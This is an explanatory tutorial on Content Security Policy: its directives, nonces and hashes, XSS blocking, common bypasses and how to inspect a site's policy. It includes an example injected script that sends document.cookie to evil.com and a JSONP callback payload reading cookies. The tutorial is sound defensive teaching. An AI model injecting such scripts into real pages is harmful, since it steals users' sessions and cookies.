Content Security Policy (CSP)

CSP is an HTTP response header that tells the browser what it’s allowed to load and execute on a page. The server sends it, the browser enforces it.

The server adds this to the HTTP response, example:

Content-Security-Policy: script-src 'self'; img-src *; style-src 'self' 'unsafe-inline'

Or via HTML meta tag (less powerful, can’t cover everything):

<meta http-equiv="Content-Security-Policy" content="script-src 'self'">

The structure

CSP is made of directives. Each directive controls a resource type:

script-src    > what JS is allowed to run
style-src     > what CSS is allowed to load
img-src       > where images can come from
connect-src   > where fetch/XHR/WebSocket can connect to
font-src      > where fonts can load from
frame-src     > what can be embedded in iframes
default-src   > fallback for anything not explicitly set

Each directive takes a list of sources:

'self'                    > only your own domain
'none'                    > block everything
*                         > allow any domain (wildcard)
https:                    > any HTTPS source
https://cdn.example.com   > specific domain only
'unsafe-inline'           > allow inline scripts/styles
'unsafe-eval'             > allow eval()
'nonce-abc123'            > allow specific tagged scripts
'sha256-<hash>'           > allow scripts matching this hash

Example broken down:

Content-Security-Policy: 
  default-src 'self';
  script-src 'self' https://cdn.jsdelivr.net 'nonce-xyz789';
  style-src 'self' 'unsafe-inline';
  img-src * data:;
  connect-src 'self' https://api.mysite.com;
  frame-src 'none'

Reading it:

  • default-src 'self' - everything defaults to same origin only
  • script-src 'self' https://cdn.jsdelivr.net 'nonce-xyz789' - JS can load from your domain, jsdelivr CDN, or any script tag with nonce="xyz789"
  • style-src 'self' 'unsafe-inline' - CSS from your domain plus inline styles allowed
  • img-src * data: - images from anywhere including base64 data URIs
  • connect-src 'self' https://api.mysite.com - fetch/XHR only to your domain and your API
  • frame-src 'none' - iframes completely blocked

How it stops XSS

Without CSP, if an attacker injects this into your page somehow:

<script>fetch('https://evil.com/?c='+document.cookie)</script>

The browser runs it, cookies are stolen.

With script-src 'self' it refused to execute inline script because it violates the Content Security Policy directive: “script-src ‘self’”

Browser blocks it entirely. The injection is there in the HTML but it never executes.


The nonce system

The problem with blocking all inline scripts is that legitimate sites use them too. Nonces solve this:

Server generates a random string per request:

Content-Security-Policy: script-src 'nonce-r4nd0mXYZ'

Then tags its own legitimate scripts with it:

<script nonce="r4nd0mXYZ">
  // this runs: nonce matches
</script>

<script>
  // this is blocked: no nonce
</script>

An attacker injecting a <script> tag can’t know the nonce because it’s random and changes every request. So their injected script gets blocked even though legitimate scripts still run.


The hash system

Alternative to nonces you hash the exact content of a script:

Content-Security-Policy: script-src 'sha256-abc123hash'

The browser hashes any inline script it finds and compares. If it matches, it runs. If an attacker changes anything in the script, the hash won’t match and it’s blocked.


CSP bypasses

CSP is not bulletproof. Common bypasses:

1 - Whitelisted CDN abuse

script-src https://cdn.jsdelivr.net

If a CDN is whitelisted and that CDN hosts user-uploaded files, an attacker can upload malicious JS to the CDN and load it from there. The CSP allows it because it trusts the CDN domain.


2 - JSONP endpoints

Old APIs have endpoints like:

https://trusted.com/api?callback=myFunction

Which return:

myFunction({...data...})

If trusted.com is whitelisted in CSP, an attacker can do:

https://trusted.com/api?callback=alert(document.cookie)//

And the response becomes executable JS from a trusted source.


3 - unsafe-inline + unsafe-eval misconfiguration

Developers add these to stop things breaking without understanding the security cost. Immediately defeats most of CSP’s XSS protection.


4 - default-src * wildcard

Allows loading from anywhere. Essentially no protection.


5 - Missing directives

If script-src is set but object-src is not, and default-src is also not set, Flash objects or plugins could be used to execute code. Always need default-src as a fallback.


6 - Browser bugs

Historically browsers have had CSP parsing bugs where malformed directives were ignored entirely.


CSP is a second line of defense, not a first. The correct mental model is:

First line:   sanitize and escape all user input (stops injection)
Second line:  CSP (limits damage if injection happens anyway)

A well-configured CSP with nonces is genuinely strong. A poorly configured one with wildcards and unsafe-inline gives false confidence - it’s there but doing almost nothing. This is actually common in the wild, which is why CSP bypass is a real pentesting skill.


How to check

1 - DevTools

Check the response headers directly in DevTools > Network tab > reload the page > click the main document (first request, usually the domain name) > Headers tab > look for Content-Security-Policy in the response headers.

If you see it, read the script-src part:

script-src 'self'                    ← blocks eval and inline
script-src 'self' 'unsafe-eval'      ← allows eval
script-src 'self' 'unsafe-inline'    ← allows inline scripts
script-src *                         ← allows everything, basically no protection

If there’s no Content-Security-Policy header at all, no CSP.


2 - eval

Just try eval in the console

eval("1+1")

If it returns 2 then eval is allowed. If you get an error then CSP is blocking it.


3 - Check via console directly

console.log(document.querySelector("meta[http-equiv='Content-Security-Policy']")?.content)

Some sites set CSP via a meta tag in the HTML instead of a header. This checks for that. If it returns undefined check the headers instead.